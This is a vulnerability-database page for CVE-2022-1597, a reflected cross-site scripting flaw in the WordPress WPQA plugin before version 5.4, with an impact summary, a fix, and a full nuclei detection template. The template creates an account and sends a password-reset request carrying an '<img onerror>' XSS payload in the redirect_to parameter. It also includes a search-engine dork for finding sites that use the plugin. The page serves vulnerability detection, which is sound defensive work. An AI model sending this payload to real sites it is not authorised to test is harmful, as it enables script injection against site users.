HexBrain

Browse / CVEs / CVE-2022-1597

CVE-2022-1597· 2code / wpqa builder· CWE-79

WordPress WPQA <5.4 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it

WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.

Fix

Upgrade WordPress WPQA to version 5.4 or later, which includes proper input sanitization to mitigate this vulnerability.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "{{redirect_to}}" and "\"success\":1" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1597 -u <target>

The full check
id: CVE-2022-1597

info:
  name: WordPress WPQA <5.4 - Cross-Site Scripting
  author: veshraj
  severity: medium
  description: |
    WordPress WPQA plugin prior to 5.4 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter on its reset password form.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade WordPress WPQA to version 5.4 or later, which includes proper input sanitization to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/faff9484-9fc7-4300-bdad-9cd8a30a9a4e
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1597
    - https://github.com/trhacknon/Pocingit
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1597
    cwe-id: CWE-79
    epss-score: 0.03042
    epss-percentile: 0.87635
    cpe: cpe:2.3:a:2code:wpqa_builder:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: 2code
    product: wpqa_builder
    framework: wordpress
    google-query: inurl:/wp-content/plugins/wpqa
  tags: cve,cve2022,wpscan,xss,wordpress,wp-plugin,wp,wpqa,2code,vuln
variables:
  user: "{{to_lower(rand_base(5))}}"
  pass: "{{user}}{{to_lower(rand_base(3))}}"
  redirect_to: '"><img src=x onerror=alert(document.domain)>'

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
        Content-Type: application/x-www-form-urlencoded

        user_name={{user}}&email={{user}}@{{Host}}&pass1={{pass}}&pass2={{pass}}&phone={{rand_text_numeric(10)}}&agree_terms=on&form_type=wpqa-signup&action=wpqa_ajax_signup_process
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
        Content-Type: application/x-www-form-urlencoded

        user_mail={{user}}@{{Host}}&form_type=wpqa_forget&action=wpqa_ajax_password_process&redirect_to={{url_encode(redirect_to)}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{redirect_to}}'
          - '"success":1'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from